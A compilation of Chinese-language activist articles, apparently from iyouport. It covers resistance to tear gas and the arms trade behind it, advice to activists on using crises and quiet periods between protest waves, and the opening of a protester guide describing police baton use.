【注：2013年的“占领盖齐运动”也被媒体称为“土耳其之春”。抗议运动最初是约50名环保人士在土耳其最大城市伊斯坦布尔搭建帐篷营地，抗议政府将塔克西姆盖齐公园征收改造成购物中心。土耳其警察逮捕抗议者，焚烧他们的帐篷，由此引发了大规模的抗议运动。】在2013年抗议期间，在土耳其的盖齐公园，戴着防毒面具跳舞的抗议者

今天，对抗议者猖獗使用催泪瓦斯和近距离喷射胡椒喷雾的情况与1990年代和2000年代初一样猖獗，在世界各地，使用催泪瓦斯的情况迅速增加。如同十年前的移动视频所记录那样，数字社交媒体的出现意味着警察对公众示威者施暴的影像可以在几秒钟内传遍全世界。被气溶胶CS、胡椒喷雾和其他催泪瓦斯直接击中的人拍下照片和视频，在 Twitter、Facebook 和 YouTube 上传播，往往在任何官方新闻报道发布之前就传播了故事。这种图片可以成为反抗运动的标志。

2011年美国的“占领运动”就有不少这样的催泪弹标志性画面。最著名的是手无寸铁的年轻女性浑身包裹着塑料布，为能继续进行和平抗议。这一行动的图片被社交媒体和主流媒体扒出，成为病毒式传播。然后是退休人员 Dorli Rainey，她在“占领波特兰”行动中被毒气直接喷到脸上。

这些画面既是物质现实，也是象征意义。盖齐的抗议者借用、翻译和复制了用大塑料瓶制作防毒面具的说明，以及用美樂事和其他家庭常备药品作为缓解催泪瓦斯痛苦的方法。

Talcid Man 的出现是在一则传言中，Talcid（一种缓解胃部炎症的液体药物）可以帮助缓解胡椒喷雾的痛苦。Talcid Man 就如现在的街头医务人员那样出现在抗议现场，以移动护理单元的形式分发药物，成为运动韧性和慷慨的象征—— 被描绘在模板和草图中，远远流传到被占领的公园之外。

【注：药物本身不是重要的，反抗者的原则应该是尽可能将解决方案寻常化，以避免镇压武器被神秘化引发更多的恐惧。这里重要的是凝聚力和彼此支持的力量，还记得我们在《镇压武器分析》中强调过的吗？—— 所有镇压武器都可以是致命的，它们已经杀死了很多人，而对抗议者来说，最好的防御设施就是彼此间的关爱，这是我们最强大的力量。】

（下面的视频是缅甸抗议者对盾牌使用方法的演示）

街头医务人员

「图」

在被汽油淹没的街道上，各种商店、人行道摊位、底层公寓甚至一家酒店都成了临时的医疗站，为抗议者提供补救和治疗。在这些站点，卫生工作者和具备基本急救技能的人汇聚在一起。

【注：如果您希望承担救助队友的角色，请务必关注这里介绍的技巧！因为错误的救助方法可能会致命：《警用武器常见伤害及基本处理方法：示威参与者指南（6）》】

与在无菌实验室里进行实验的科学家相比，这些医疗志愿者往往对所谓的“低致命性武器”在现实世界中的真实威力有着更为清晰、更准确的认识。正是在这里，在抗议建筑的油布帐篷下，在流动式诊所里，在这些武器故意挑起的混乱中，人们能立即感受到瘀伤和出血、窒息和呕吐、脑震荡和瘫痪。

在抗议现场，疼痛不是毒性指数，也不是阈值百分比。所谓的“低致命性”宣称不再是一个技术名词，而是对身体能承受多大的折磨、对一个人离死亡有多近的切身体验。

以人的经验来衡量，抗议活动现场的街头医疗站点可以让人们看到暴力镇压的现实。抗议者们看待和认识医疗伤害的方式可以带领所有人超越媒体屏幕上的火焰和烟雾。他们可以提供比医院记录更为准确和详细的现场描述。他们的证词可以被用来挑战由军方付费的科学家所做那些的虚伪的临床试验。

停止装运

「图」

我们曾经在《思考方式》第2集中介绍过这些镇压武器如何跨国销售，在全球范围内迫害公民和压制和平抗议。尤其是如何识别和揭露他们的方法。就如阻止监视技术的跨国流通一样，对镇压武器的销售也是公民反抗的重点。

使所谓的低致命性武器得以销售的出口链常常成为寻求干预大赦国际“酷刑贸易”反抗运动的目标。在一次点燃埃及工会的反抗行动中，海关工作人员阿斯玛·穆罕默德（Asma Mohammed）也是工会妇女委员会的成员，拒绝处理来自联合系统公司（Combined Systems Inc. ）的货运单。据向她颁发2012年和平奖的抗战者联盟称，穆罕默德回忆说：“我当时告诉他们，‘不，我拒绝做这件事—— 因为我不想成为别人痛苦或死亡的原因’。所以为了声援我，或者说声援这个事业，我的同事们说，‘我们也不去工作了’。”

【注：联合系统公司（Combined Systems，Inc.）是一家总部位于美国的镇压武器销售公司，专门制造催泪瓦斯弹，闪光弹，违规弹药和手铐等军事和警察装备。它向美国以及埃及和以色列的警察和军队供应这些产品。】韩国活动家抗议向土耳其运送催泪瓦斯（国际抗战者协会）

2014年，“巴林观察“组织发起了一场针对韩国制造商 Dae Kwang 化学公司的“停止运输”抵制运动，该公司与巴林签订了向巴林供应**100**多万罐催泪瓦斯的合同—— 当时该国已经有**40**多人因催泪瓦斯而死亡，数千人受伤。

反抗者与大赦国际韩国团队、韩国工会和地方运动以及《金融时报》和《纽约时报》等制定议程的出版物的记者合作。这些长期的战术与复杂的、现代的社交媒体相结合，包括一个朗朗上口、基于行动的标签、定时转发、和一个针对运动的网站。他们成功地向韩国政府施压，迫使其对巴林实施催泪瓦斯禁运，阻止了 Dae Kwang 公司的运输。

【注：中国也是镇压武器出口国，中国 **Norinco** 公司生产的 **NARG 38** 榴弹发射器在伊拉克出售。被伊拉克镇压部队使用，想抗议者发射。见《镇压部队最常用哪些武器对付抗议者？- 概览》。】

参与直接行动

「图」

另一种抵制过度使用防暴武力和抗议暴利的方式是直接采取行动，对

警察部队接受跨国培训的地点进行干预。

【注：抗议暴力指的是包含上述那些公司在内的那些跨国镇压武器销售商，他们从当权者的镇压中获利。他们有足够的动力在全球鼓励暴力镇压。】

2013年10月，“直面催泪瓦斯” 运动将各组织聚集在一起，抗议 “城市盾牌” 会议，这是一个每年一度的特警队培训课程和镇压武器销售博览会，提倡使用军事战术镇压抗议运动。

“直面催泪瓦斯” 运动在奥克兰建立了一个由30多个当地团体组成的联盟，包括奥斯卡-格兰特基金会和阿拉伯资源和组织中心。第二年，他们回来时更有组织，更有信息，并决心改变现状。

他们创建了网上请愿书，与议员们举行了专门的联盟建设会议，采取了先发制人的媒体战术，并在世博会场外举行了示威，吸引了数百人上街游行。

他们的努力得到了回报。阿拉米达县警长办公室宣布 “城市盾牌”警察会议将不再在万豪酒店举行，市长 Jean Quan 表示奥克兰市不会与“城市盾牌”会议续约。这只是改变治安政策和做法的更大斗争中的一个小胜利。

「图」

“停止城市盾牌” 运动成功的一个关键部分有时被称为 “去寻找低垂的果实”。试图在政府政策层面甚至在公司总部所在地反击警察使用武力，很可能会进展缓慢，需要采取法律行动。

在公共场合，或者在有一定公共通道的空间（如酒店大堂）举行的博览会和特警训练活动，对抗议者来说往往更容易实现。它们在建筑上和地域上为示威提供了一个聚集地。

同样，作为销售和展示警用产品的场所，博览会为活动家提供了一个机会，让人们看到武器贸易的秘密世界。

此外，社交媒体改变了公关，使形象管理成为了一个双向的过程，客户的影响力比以往任何时候都大。这种转变正在扩大基于形象的行动主义领域，因为人们找到了关键的形象位置—— 时效和合作关系—— 这些都是成熟的干预。

虽然这看起来可能是辅助性的，但针对军火商赞助的影院或博物馆，

却能准确击中公关团队的痛处。在此案中，“停止城市盾牌” 联盟将“城市盾牌” 与弗格森正在发生的警察暴力事件、以及奥克兰过去的警察暴力事件，特别是针对年轻黑人男子的杀戮联系起来，其多族裔、LGBTQ的成员组合，让市议会无法在不进一步损害城市形象的情况下支持那个镇压武器博览会。

重要的是，不只是在军火展会上露面示威，而是要透过基层动员与反种族主义批判，将全球抗争变成地方性抗争。

同样地，“停止城市盾牌” 运动明确地将矛头指向万豪酒店—— 一家深受家庭欢迎的大型国际连锁酒店，迫使该公司衡量举办这项维稳活动的利润与损害其形象的风险。让万豪酒店退出奥克兰的 “城市之盾”，并不能保证它将停止在其他地方举办类似的博览会。然而，“停止城市之盾” 在奥克兰的成功揭示了一个关键的压力点，这可能成为持续开展运动的理由，以使营利性维稳活动退出万豪酒店。

接下来怎么办？

「图」

催泪瓦斯在世界各地的部署越来越多，导致更多的霰弹击中抗议者的头部，更多的在封闭空间发射的榴弹造成人群窒息，更多的催泪瓦斯攻击加上橡皮子弹和实弹。这些化学武器的暴力部署继续造成人们死亡、毁容和慢性身心健康损害。

如果说现代催泪瓦斯长达一个世纪的医学历史向我们展示了什么，那就是营利性科学的问题。当科学被利用来为少数人谋利，而不是为许多人的保护和健康服务时，整个社会都会受到伤害。在最基本的层面上，人们理应了解更多关于化学品镇压武器的知识。这是一个公众健康问题，必须独立研究，并以公开的方式让人们清楚其影响。

还必须考虑到催泪瓦斯的物质形式—— 作为一种旨在折磨人、使人精神崩溃、造成身体和心理伤害的物品。无论公司的公关说辞如何，都无法掩盖化学设计的基本事实。催泪瓦斯是一种控制大气的武器，它污染了我们呼吸的空气。它把广场、游行、公众集会变成了一个有毒的空间，夺走了人们经常使用的最后一个沟通渠道。我们呼吸空气的权利与集会、发言的权利一样，具有同等意义。〇

The rise of resistance and resilience to tear gas

原文

灾难可以是重大变革的机遇，如何做好准备？：行动主义（13） - iyouport

行动主义

胜利是可能的，但行动者需要增加学习曲线，提高自己的游戏水平

我们听说中国的活动家们很有自信，认为自己的方法永远是最好的。自信心当然是很好的动力，但如果您认为是最好的战略却遭到了失败，也并非噩梦；这只是说明，是时候重新审视自己的做法了。

欢迎回来！

如果您错过了前面的内容，可以在这里看到：

- 《无法预测运动何时会爆发，但活动家可以描绘通往成功的道路：行动主义（1）》
- 《活动家如何瞄准6大权力支柱获取最强大的抵抗效果：行动主义（2）》
- 《创建强大的运动—用战术，而不仅仅是力量：行动主义（3）》
- 《当活动家陷入虚无和疲惫 …… 寻找解决方案：行动主义（4）》
- 《如何才能让一个革命战略持续存活下去：行动主义（5）》
- 《反抗运动如何通过培训来增强力量：行动主义（6）》
- 《运动如何利用戏剧性抓住公众的想象力：行动主义（7）》
- 《从柏林墙到今天—利用旋风时刻的经验教训：行动主义（8）》
- 《您天生适合在社会变革中扮演什么角色？：行动主义（9）》
- 《炫目烟花和持久性发展之辩：行动主义（10）：”运动” 与 “组织” 之间的鸿沟可以弥合吗》
- 《是什么导致了抗议运动的失败，如何才能成功：行动主义（11）- 战略智慧是最重要的武器》
- 《对镇压武器的抵抗使运动能力增强：行动主义（12）》

冠状病毒防疫在全世界阻碍了反抗行动，当局仅以“违反社交距离”为由就可以禁止任何聚集（比如英国就是以防疫为由拒绝批准声援 Julian Assange 的守夜活动）。这让全世界的活动家们感到很沮丧。

但政治和社会的动荡本身就可能是机会：历史上有许多例子表明，由于一个惊心动魄的历史事件改变了条件，从而促进了积极的变化。美国的大萧条和英国的二战都发生了这种情况，两个社会此后都在社会、经济和文化的进步变化方面实现了飞跃。

鉴于其巨大的痛苦和折磨，并不是说谁都希望这种动荡。但是，大规模的历史事件并不征求我们的意见。它们就是如此。问题是，我们该如何看待它们？在英国剧作家克里斯托弗·弗莱的反战剧作《囚犯的睡眠》中有一句对白：“事务现在是灵魂大小。”

恐惧可能会是压倒性的，导致人们可能会忽略不断扩大的机会。这就是为什么行动者需要保持彼此的连接，以扩大“灵魂”，注意到机会的扩张。和您的队友一起学习过去的活动家们利用困难时刻的方法，可以帮助获得灵感。

民权运动面对的挫败

「图」

1962年，在佐治亚州，奥尔巴尼运动痛苦地输掉了取消种族隔离的斗争，尽管群众广泛地参与了这场抗争。当时马丁·路德·金已经成为全国性人物，他和南方基督教领袖会议（SCLC）投入到支持学生非暴力协调委员会（SNCC）倡议的斗争中。

后来，奥尔巴尼的警长劳里·普里切特一直在吹嘘“击败金博士”，他在南方各地巡回演讲时向那些白人警察局长们介绍如何摧毁民权运动，这是他的自夸。

金知道是时候重新充电了，重新评估并回到基本的战略图谱中。

首先，他们发现了一个战略错误：选择了错误的目标（奥尔巴尼的政客而不是商界）。他们花了很多时间重新研究，也给组织重新充电。

大胆地花时间重新充电—— 这是处于挫折中的人们都需要的一个心得。是的，1962年南方种族主义的暴力一如既往地紧迫，但SCLC成功抵制了一个又一个绝望的打击。

相反，他们想要的是在恰当的时刻再次有力地站出来，这意味着重新组合和磨练自己的战略技巧。赌注太大，不能被动地满足于道德见证，而道德见证也并不能改变什么。他们对历史的解读是，胜利是可能的，但行动者需要增加学习曲线，提高自己的游戏水平。

SCLC的下一个大的战略是1963年在阿拉巴马州的伯明翰，在那里，他们的要求升级得如此强大，以至于他们对平等住宿的要求迫使华盛顿做出了回应。他们赢得了一项突破性的民权法案。

伯明翰作为战斗地点是与传统思维相悖的，因为要想得到总统和国会的行动，你就得去华盛顿，对吧？但传统并不能帮助现实，高明的战略有时就是需要做到前所未有。

相反，SCLC 及其盟友加入了伯明翰的基层活动家。他们用一场旷日持久的和戏剧性的运动使当时的一个主要工业城市失调，触动了当权者的命脉，足以迫使华盛顿采取行动。

能够维持一个漫长甚至血腥的运动，意味着行动组织需要足智多谋和具有充分的创造性，作为一个强大的团队来运作。马克和保罗·恩格勒以伯明翰的戏剧性反抗故事写下了这本书《这是一场起义》，您可以免费下载阅读。

因为历史给人们提供了更大的变革机会，可以利用这个时机，准备好采取真正的行动。这意味着要磨练行动者的战略技巧，放弃一次性见证事件的分心。这意味着要更加明确行动的愿景，这样就可以通过对行动者想要的东西的常识性描述来赢得更多的人加入您的反抗事业。而这意味着建立更有效的组织，让您的团队合作更有力，让你们的整体能力更加强大。

此刻的资源，可以加强行动主义团体的力量。

变革培训组织最近重新出版了“变化时代的组织指南”，这本书可以作为帮助行动者提高效力的基础，寻求真正有效的方法。几十年来，“变革培训”一直在为基层组织和劳工团体提供咨询和行动组织者研讨会，并分享其被称为直接教育的活动家友好型教学法。培训师发现，许多与他们合作的行动团体不仅需要技能，还需要新的结构来提高行动效力。

这本书是由 George Lakey、Berit Lakey、Janice Robinson 和 Rod Napier 以高度集体的方式编写的。他们首先对在民权运动、反战运动、环境运动、LGBTQ团体、以及劳工组织和基层邻里组织中工作过

的各种不同的行动者进行密集采访；询问他们，对于新生行动组织和历史较长的行动团体来说，什么是有效的方法。

然后把采访的内容编织在一起，并加入了自己的经验。Berit Lakey 是性别平权运动和反种族主义运动的先驱，Janice Robinson 在哈林区建立了一个社区健康中心，Rod Napier 帮助创新学校、革新教育体制，George Lakey 是老牌活动家，擅长建立直接行动团体。他们也都做过咨询工作，帮助行动主义组织处理分歧冲突，发展更好的组织结构，以适应变革目标。

这本书中充满了行动者的经验故事。虽然合作这本书的行动团体大多在美国，但是这本书的译本在埃及、塞尔维亚、泰国等许多其他国家出版，调动了全球行动者的灵感。例如，在泰国，一些基层团体使用这本书进行了超越传统等级制度的创新。

行动组织可以学会处理更多的动荡

「图」

从黑人历史学家文森特·哈丁的著作《美国黑人争取自由的斗争》中得到启发，这本书的中心比喻是将反抗行动比作泛舟—— 利用橡皮艇或者竹筏在时而湍急时而平缓的水流中顺流而下的一种挑战竞技。参赛者会遇到各种未知的风险，一切胜败都取决于快速敏锐的反应能力。就如我们在《信息行动主义》系列中介绍战略部署时使用的登山比喻，帮助您更清晰地预想行动过程。

借此比喻，这本书各章的内容分为 “接近河流，强化皮筏， 利用水流转向， 和面对巨石”。这本书包含了各种典型的组织结构，并超越了它们，描述了替代方案。邀请读者在各种方案中进行选择，找到适合您的团体特点的方案。

这里有具体的工具支持行动团队成员直接表达他们的分歧，不管是战略上的分歧还是身份上的分歧。目标是发展一个有凝聚力和团结的团队，能够应对压制或渗透。

- 不要错过《如果您的团队陷在被监视和被渗透的恐慌中，只是因为您缺少了一件东西—什么是安全文化》

书中还提供了如何促进有效组织会议的技巧，在节省时间的同时做出决策，以及如何组建任务小组，在完成工作的同时培养学习曲线。太多的活动家忽视了士气的损失，因为重复 “老一套” 的做法只能产生

平庸的结果。例如，提高士气的一个简单方法是每次会议用很短的时间去汇报工作。久而久之，就会形成一条学习曲线，会议就会有所改善，人们就会注意到士气开始提高。

这本手册把组织实践放在建立社会运动的大背景下，可以激发人们的信心以进行重大变革。这意味着要让一个团体的注意力向外延展，如乔纳森·马修·斯马克所说的“超越合唱团”，同时也要通过对领导力发展的深思熟虑的关注向内审视。

大流行病的动荡正在加快所有社会的变革步伐。这意味着机会，当然，仅仅是对于那些懂得利用机会的人来说。纳奥米·克莱因曾指出“灾难资本主义”的概念，您的对手正试图通过像这样的动荡来最大化他们的利润，反抗者急需倾注时间和精力尽快学习如何将机会拉向自己一边。

这本书就支持这一点，您可以和您的团队成员一起阅读，并安排交流对话，也许能带来更多灵感，以增强你们的力量。〇

—— 未完待续 ——

原文

空窗期令人困惑，但有效利用空窗是行动智慧的一部分：行动主义（14） - iyouport

行动主义

给反抗者的自助指南：14条建议【本集内容更适合香港朋友】

欢迎回来！

如果您错过了前面的内容，可以在这里看到：

- 《无法预测运动何时会爆发，但活动家可以描绘通往成功的道路：行动主义（1）》
- 《活动家如何瞄准6大权力支柱获取最强大的抵抗效果：行动主义（2）》
- 《创建强大的运动—用战术，而不仅仅是力量：行动主义（3）》
- 《当活动家陷入虚无和疲惫 …… 寻找解决方案：行动主义（4）》
- 《如何才能让一个革命战略持续存活下去：行动主义（5）》
- 《反抗运动如何通过培训来增强力量：行动主义（6）》
- 《运动如何利用戏剧性抓住公众的想象力：行动主义（7）》
- 《从柏林墙到今天—利用旋风时刻的经验教训：行动主义（8）》
- 《您天生适合在社会变革中扮演什么角色？：行动主义（9）》
- 《炫目烟花和持久性发展之辩：行动主义（10）：”运动” 与 “组织” 之间的鸿沟可以弥合吗》
- 《是什么导致了抗议运动的失败，如何才能成功：行动主义（11）- 战略智慧是最重要的武器》
- 《对镇压武器的抵抗使运动能力增强：行动主义（12）》
- 《灾难可以是重大变革的机遇，如何做好准备？：行动主义（13）》

街头抗议是令人兴奋的，但它肯定不会长期持续，行动就如潮水般，

总是会涨落；而运动则具有持续的生命力，街头行动只是一场运动整体的一部分。

然而，在街头拼搏过的人们却会因为人群退散而失望，不论如何，从热闹进入寂静，总是会令人恐慌。人们甚至会误认为“斗争步伐放缓了”。

不，并没有。

本集内容为了那些“失去街头”的人们所写，因为是否能够延续运动的生命力，取决于您是否能准确理解行动。

下图中这本书在这里下载《如何建立成功的社会正义运动？一份有力、严谨和清晰的指南》。

如果您曾经在酒吧玩到深夜，然后一个人走路回家，您就很容易理解这点 —— 从一个超级热闹的和高度参与感的环境中忽然之间进入一个人的寂静，那是一种非常令人困惑的内心起伏。

参与反抗行动的人们也一样。

驾驭这些起伏是困难的。随着每一次斗争浪潮的熄灭，反抗者的人数和能力似乎应该只会增加，但是，实际情况往往不是这样；参与者反而互相埋冤，互相指责行动失败的原因。起义的兴奋让位给激烈的批判、甚至对老朋友的人格暗杀。再加上当局的暴力镇压，这可能导致许多人退缩，离开本地，或者干脆完全离开运动本身。

从大的方面来看，反抗者已经做了所能做的一切。每一次行动都非常重要，正是这些一次又一次的行动在推动变革运动的前进，但您不应该夸大某一次行动的重要性 —— 尤其是不应该期待一次行动实现一切，您所对抗的力量越是强大，就越是如此。

因此，反抗者面临着一个老问题。📌 一旦起义本身被掩盖，您如何保持内心的变革热情？如何在革命的中场休息期间，抵制罪恶感幽灵的攻击、抵制导致混乱的孤独、抵制导致疯狂的幻觉和偏差、抵制回到被认为已经被抛弃的经济和家庭生活的习惯角色中？

下面是一些关于反抗者在清冷时刻可以做些什么的建议，希望通过我们彼此之间相互寻找、建设和准备，我们能够在下一轮行动中有更多的能力、决心和力量。

1. 镇压的浪潮往往紧随反抗浪潮，并不断延续

「图」

中国朋友都知道“秋后”是什么意思。当权者从不休息。随着街头斗争的消退，当权者会继续恐吓参与者，希望有人会由于惊慌失措而透露有关反抗活动和活动家网络的信息。

还记得我们提供的“安全文化”吗？其中就包含这一条：永远不要把您的队友交给敌人！不论发生什么。每一位参与者都应该保持这样的价值观—— 绝不出卖队友，只有这样，我们彼此才能有默契，我们的合作才能让大家都有安全感。

如果政府间谍或当地警察来访，关键是要保持冷静，永远不要和当权者说话，并始终与队友们联系以建立支持。在2011年占领运动之后，太平洋西北地区的一些知名活动家被传唤到大陪审团面前作证，在他们拒绝合作时被判处监禁。这种威逼利诱以便连锅端彻底扼杀一场运动的镇压战术在全世界被使用。

2. 在清冷时期，避免参与您所在城市政治领域的内部争斗

「图」

即使我们认为自己是正确的，政治领域的内部争斗也往往是失败的战斗，往往脱离了任何实际的后果或真正的利害关系。您会发现与您辩论的人经常没有切肤之痛。

尤其小心那些仅仅是自我陶醉的面具和权力表演的内部冲突，这些东西与真正摧毁旧秩序的反抗运动没有任何关系。不幸的现实是，没有任何社会圈子能摆脱小规模的争斗、虚荣心、自我膨胀、竞争和自以为是的幻想。

我们都被这个世界所残害。请珍惜您已经找到的友谊，并紧紧抓住它们。

3. 这并不是一个关于自我孤立的论点。我们的目标应该是建立一个既有辩论又有合作空间的革命生态

「图」

我们强调过：团结不是服从！人们经常混淆这两者，以至于拆散了非

常多的联合机会，人民的唯一优势，即“庞大基数”，变成了一盘散沙。

主要的政治分界线是在那些对革命有基本取向的人和那些没有的人之间存在的；同时，主要的个人分界线是那些有能力并愿意尊重他人的人和那些没有这样能力的人之间存在的。

革命思想在今天依旧是不发达的，包括我们自己的思想，因为这些思想只能在实际的斗争中得到检验。如果您想在任何有意义的方向上发展革命实践，很简单，您只需要宽宏大量—— 这意味着不要为小的派别/观点分歧而纠结。

4. 对行动的参与已经给了您轻微的肾上腺素成瘾，而退场会让您感觉到神经系统的极度倦怠。这可能会导致人们陷入崩溃和持续的抑郁症

「图」

进行密集的重量训练或战斗运动确实可以帮助您。您的身体可能比您想象得更适合做这种训练。

您可以自己做，也可以和队友们一起做。重点不只是要变得身体强壮，而是要在更广泛的意义上建立力量。

这意味着要学会关心您的心理健康，学会在高肾上腺素的情况下操作，并发展出安排自己时间的纪律性。这就是为什么我们在《整体安全》教程中将行动者的精神心理健康描述为福祉，因为只有当您能够在控制自己的心理状态的情况下，您才能有敏锐和灵感。

更多解释见《反抗运动如何通过培训来增强力量：行动主义（6）》。

培养技能，使您在必要的时候能够加速，但也能够在需要的时候放慢速度。当一般的政治活动出现停顿时，这些东西可以成为巨大的个人帮助，也会增加您在时机到来时的战斗能力。

5. 革命者往往不是因为被镇压或被监禁的威胁而退出运动，而是因为士气低落

「图」

看着美好而强大的东西被粉碎，是一种真实的、创伤性的损失。通常，心理健康问题与斗争中巨大的高潮之后的低谷联系在一起。

如果您有能力，您可能想开始寻找治疗师。如果您负担不起治疗师的费用，可以和朋友聚在一起，谈谈自己的感受。要诚实，不要评判，并倾听。感到悲伤、难过、无望和失落是完全正常的。

大家坐在一起彼此分享痛苦是一个重要的方式，可以增进感情，克服痛苦，并发展复原力。

6. 花点时间和朋友们一起反思您的起义经历

「图」

问问自己：在那一刻，是什么让您感到惊讶？谁倾向于出现在城市中，事情倾向于在哪里发生？有哪些转折点和错过的机会？您能贡献什么，您希望自己能贡献什么？有什么技能、资源、基础设施、联系或组织能力是您希望拥有的？…… 试着把这些反思发展成可以分享的东西。

可以肯定的是，许多其他人也在思考同样的问题，并将从您的见解中受益。叙述这些故事是我们防止失忆症冲走斗争中的经验教训的最好方法。

7. 根据您在起义中的经验，发展实用技能

「图」

试着利用街头行动暂歇的冷清气氛，发展下一轮斗争可能需要的具体技能。这可以单独进行，但最好与朋友一起进行。我们提供的《行动主义》、《信息行动主义》、《示威参与者指南》、《整体安全》、《在灾难中幸存》、以及整个 “列表-5”，都是行动者最需要的教程，您可以随意取用，在您的团队中开展培训课程。

要有耐心和包容：学习新技能需要时间。

有一些技能是每位队友都应该具备的基本能力，比如安全文化和协调性；对于其他技能，对某些队友来说，真正专注于发展熟练程度可能是有意义的，比如黑客主义、救助技巧、培训技能、组织动员行动力等等。

在为即将到来的斗争做准备时，一群朋友应该努力在共同的基本能力和合理的分工之间取得适当的平衡。

8. 阅读是发展您的战斗能力的一个重要部分。通过学习，充分利用这段休息时间

「图」

这场运动让您思考了哪些问题？您对反剥削、反压迫的斗争历史有哪些不了解？对现实世界的有限理解会导致对斗争如何进展的不切实际的预期，这就是为什么反抗者首先需要是分析师和观察家，我们一直在在提供对时局的分析，那些内容都不是闲聊。

将您的观点建立在理论和历史的基础上，可以帮助您避免绝望和愤世嫉俗的情绪。

就像其他技能一样，重要的是，行动者们要维持一个共享理论知识和反思能力的基线。并非每个人都需要成为一切方面的专家，但每个人都应该有足够的信心，在对话中坚持自己的观点。这可以防止出现非正式领导人和粉丝式崇拜的场景。

9. 在起义之后，转而进行某种“组织”是很诱人的，因为这样可以让大家觉得自己仍有贡献。但这也是有风险的

「图」

现实情况是，我们没有人真正知道在清冷的时刻该做什么。在过去的几十年里，行动者们已经尝试了很多实验，但都没有什么成果。但我们所能做的正是实验。不断地实验。

在起义之后，继续进行某种组织项目是很有意义的。这种组织项目应该可以成为一波斗争与另一波斗争之间的衔接；尤其是，应该可以扩充您的亲密团队阵容，弥补前一次行动中缺失的角色分配。

但有些时候也并非如此，比如在以前的起义后启动的许多项目在2020年的跨国抗议运动中未能发挥很大的作用，这一事实应该引起行动者的重新评估，究竟哪里出了问题。

思考组织项目的一种方式是，当这些起义发生时，它们是否能最终为变革目标做出贡献，或至少为类似但更有限的斗争时刻做出贡献。现实情况是，大多数组织项目，即使是最“激进的”和用心良苦的项

目，要么在当下没有什么贡献，要么在事情真正加速发展时，最终实际上反而发挥了维持现状的作用。

我们能做的就是诚实地对待我们的组织项目，抛开那些作为斗争的制动器的项目，并努力发展能够明显促进更多反抗技能和协调形式的项目。但这说起来容易，做起来难。在这个时期，要知道什么是有帮助的，什么只是在瞎忙，并不容易。

10. 承担一个集体项目，为未来的斗争建立基础设施或能力

「图」

斗争之间的平息有时会持续数年。有无数的压力会导致我们彼此分离。但是，如果我们已经以某种方式组织起来了，那么当斗争发生时，我们将是最有效的。这意味着要找到一些方法，在休整期间内保持我们彼此间的联络。

与您的朋友一起开发能让你们保持合作的项目是很有意义的。通过学习如何在休整期内一起工作和思考，我们将能够在关键时刻更有效地做到这一点 —— 协作需要在不断尝试和磨合中变得默契。

请避免成为现有活动家网络的步兵；相反，要尝试发起新的东西。开发新形式的基础设施或磨练实际技能，这样您和您的朋友就能为未来的斗争做出实际贡献。尽量不要孤军奋战。

寻找方法使您的项目能够以实际方式与其他革命者接触。目的是在一些雄心勃勃的行动计划之间取得平衡，使您对做这件事感到兴奋，但又足够谦虚，使您能够维持下去。这些项目计划应该围绕人们的实际能力、兴趣和大家都喜欢做的事。

11. 运动是漫长的。要对自己的能力保持诚实

「图」

从激烈的运动中退后一步，使您回归普通的生活，这并没有错。激烈的斗争时期往往要求我们暂时牺牲或搁置我们生活的其他方面，如果我们不注意这些方面，它们就会萎缩或崩溃。在这段沉寂的时间里，重建您需要的任何东西：无论是赚更多的钱，与老朋友重新联系，还是种植一个花园。更多的个人稳定通常意味着我们在关键时刻能更好地作出贡献。

除了政治之外，做一些您喜欢的事：弹吉他，学习冲浪，写小说，旅行，和做艺术。寻找时间来享受生活。无聊是反革命的。

12. 找到彼此

「图」

我们必须谦虚地看待像我们这样的人在这些低潮期能做出什么贡献或建设。但是我们不应该回避这样一个事实，即：我们以及像我们这样的人能够为起义做出的贡献确实很重要。下一次我们的人数越多、我们在某种程度上的协调越多、有共同的基础设施、有共同的技能和理论知识基线、有共同的处理辩论和分歧的成熟度，这将是很重要的。

如果下一次起义要产生一个突破性的、根本性的新东西，我们就需要尽可能多的人去填满这个清冷时段。

出于这个原因，我们需要找到彼此。

13. 虽然无法回避互联网，但要小心

「图」

在疫情期间，互联网行动主义急剧上升。但是，社交媒体上流行的思维和语言类型为行动者提供了最糟糕的例子，它所展示的是人际撕裂的极致状态。

您在这些社交媒体平台上的行为不可否认地影响了您在现实生活中的行为。您能做的就是意识到这种紧张关系，尽量不复制最坏的情况。

14. 继续前进

「图」

希望我们将再次在街头相遇，更有创意、更加强大，并有更大的能力与敌人战斗。我们中的许多人将永远不会遇到对方，但我们都应该知道，世界各地有越来越多的人致力于并努力推动社会变革，寻求自由和美好的未来，结束灾难性的生活方式。每一个路障的建立、每一次冲锋、每一场集会，都是一种彼此沟通的方式，相互看到对方，知道我们并不孤单。

同时，让我们对待彼此温和，只有这样我们才能对敌人产生威胁。

当时间到了，我们会在街头的路障旁看到你。〇

—— 未完待续 ——

原文

认识警棍，危害能力和防御方法：示威参与者指南（1） - iyouport

示威参与者指南

【2021年4月8日存档】每一种武器和战术都有其优势，也有其弊端；针对镇压武器和战术，行动者的思路应该是如何尽可能抑制其优势的发挥。

这是一个新的系列，主题如题，关注实战中的“配件”。请注意思考方式，因为我们无法预测每一种状况，于是只能展示有效的思考方式，和重要的相关知识；在实际行动中，很大程度上需要您利用这些知识亲自思考最有利的战术 —— 不要错过我们正在进行的系列《确定变化的杠杆：信息行动主义指南（2）- 战略效用》，这是您的分析方法。

本集内容将详细介绍警察使用的警棍种类、如何使用、警棍能造成什么样的伤害，以及历史上示威者保护自己免受警棍攻击的一些方法。

警察经常用警棍打人。从记录现场的录像来看，你会认为这些警察就是为此暴力而生的。从历史上看，警棍是警察的面包和黄油，以至于警棍经常被称为警官的“职务徽章”—— 虽然最近，泰瑟枪已经取代警棍成为了他们的首选武器。

那些教学视频和小册子中介绍的警察会给人一种错误的印象，认为警察是武术高手，他们仔细研究了用大木棍伤人的所有方法。但是，如果你去演示下就能知道，一般只会有那同样的几招，一遍又一遍出现。

警察对着已经倒在地上的人疯狂地挥棒，他们用警棍的末端刺向目标人，狂甩上臂挥棒打人，往往是打在头部—— 虽然理论上，他们不应该这么做，除非他们已经被授权使用致命武力。有时他们还会将手分别放在棍子的两端，水平地举在胸前，一边向后推人，一边叫着“滚开”—— 往往不管被推的人是否能动，也不管他们是否已经在动。视频：*https://twitter.com/justrinidad/status/1335660826363977728*

从根本上说，警棍是所谓的合规工具。它们并不是专门用来杀人或伤人的武器，尽管它们完全有能力做到这点。警棍的目的是为了伤害抗议者，以迫使抗议者服从警官的命令。当然，警察往往在抗议者屈服之后也会继续使用警棍，只是为了强调国家主体和它的权力支柱——即 这些雇佣兵—— 之间的权力关系。

